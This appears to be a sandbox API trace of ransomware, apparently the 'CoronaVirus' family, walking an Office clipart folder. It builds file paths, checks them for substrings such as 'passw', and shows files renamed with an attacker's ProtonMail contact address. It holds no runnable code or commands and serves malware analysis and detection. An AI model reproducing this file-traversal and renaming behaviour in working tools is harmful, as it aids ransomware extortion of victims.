	[0094.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0094.274] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0094.275] SetThreadPriority (hThread=0xb2c, nPriority=15) returned 1
	[0094.276] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.280] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 213
	[0094.282] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.282] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0094.282] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0094.283] SetThreadPriority (hThread=0xb30, nPriority=15) returned 1
	[0094.285] malloc (_Size=0x1000) returned 0x51f3088
	[0094.290] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 213
	[0094.292] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.292] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0094.292] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0094.293] SetThreadPriority (hThread=0xb34, nPriority=15) returned 1
	[0094.294] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.300] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 213
	[0094.301] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.301] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0094.303] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0094.304] SetThreadPriority (hThread=0xb38, nPriority=15) returned 1
	[0094.306] malloc (_Size=0x1000) returned 0x51f0070
	[0094.308] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 213
	[0094.308] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.311] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0094.311] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0094.311] SetThreadPriority (hThread=0xb3c, nPriority=15) returned 1
	[0094.313] malloc (_Size=0x1000) returned 0x51f4090
	[0094.318] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 213
	[0094.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0094.318] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0094.319] SetThreadPriority (hThread=0xb40, nPriority=15) returned 1
	[0094.320] malloc (_Size=0x1000) returned 0x51f0070
	[0094.322] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 213
	[0094.322] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.325] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0094.325] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0094.326] SetThreadPriority (hThread=0xb44, nPriority=15) returned 1
	[0094.328] malloc (_Size=0x1000) returned 0x51f3088
	[0094.333] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 213
	[0094.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0094.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0094.335] SetThreadPriority (hThread=0xb48, nPriority=15) returned 1
	[0094.340] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeff08ad2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", cAlternateFileName="CORONA~1.GIF")) returned 1
	[0094.340] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.342] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.342] malloc (_Size=0x1000) returned 0x51f0070
	[0094.344] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 213
	[0094.344] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.344] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0094.344] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0094.345] SetThreadPriority (hThread=0xb4c, nPriority=15) returned 1
	[0094.347] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", cAlternateFileName="CODB1D~1.GIF")) returned 1
	[0094.351] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.351] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.351] malloc (_Size=0x1000) returned 0x51f4090
	[0094.351] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 213
	[0094.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0094.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0094.351] SetThreadPriority (hThread=0xb50, nPriority=15) returned 1
	[0094.356] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x31c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", cAlternateFileName="COF05F~1.GIF")) returned 1
	[0094.358] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.358] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.358] malloc (_Size=0x1000) returned 0x51f5098
	[0094.358] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 213
	[0094.358] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.358] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0094.358] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0094.359] SetThreadPriority (hThread=0xb54, nPriority=15) returned 1
	[0094.360] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", cAlternateFileName="CO03CF~1.GIF")) returned 1
	[0094.364] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.367] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.367] malloc (_Size=0x1000) returned 0x51f1078
	[0094.367] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 213
	[0094.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0094.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0094.367] SetThreadPriority (hThread=0xb58, nPriority=15) returned 1
	[0094.369] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xc61, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", cAlternateFileName="CO6EF5~1.GIF")) returned 1
	[0094.369] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.371] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.374] malloc (_Size=0x1000) returned 0x51f5098
	[0094.374] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 213
	[0094.374] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.374] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0094.374] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0094.374] SetThreadPriority (hThread=0xb5c, nPriority=15) returned 1
	[0094.382] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x30d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", cAlternateFileName="COAB7C~1.GIF")) returned 1
	[0094.382] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.384] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.385] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.386] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 213
	[0094.386] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.386] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0094.386] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0094.388] SetThreadPriority (hThread=0xb60, nPriority=15) returned 1
	[0094.390] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1491, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", cAlternateFileName="COC382~1.GIF")) returned 1
	[0094.396] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.396] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.397] malloc (_Size=0x1000) returned 0x51f3088
	[0094.397] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 213
	[0094.397] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.397] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0094.397] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0094.397] SetThreadPriority (hThread=0xb64, nPriority=15) returned 1
	[0094.399] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xa41, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", cAlternateFileName="COA26B~1.GIF")) returned 1
	[0094.399] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.401] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.401] malloc (_Size=0x1000) returned 0x51f1078
	[0094.404] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 213
	[0094.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
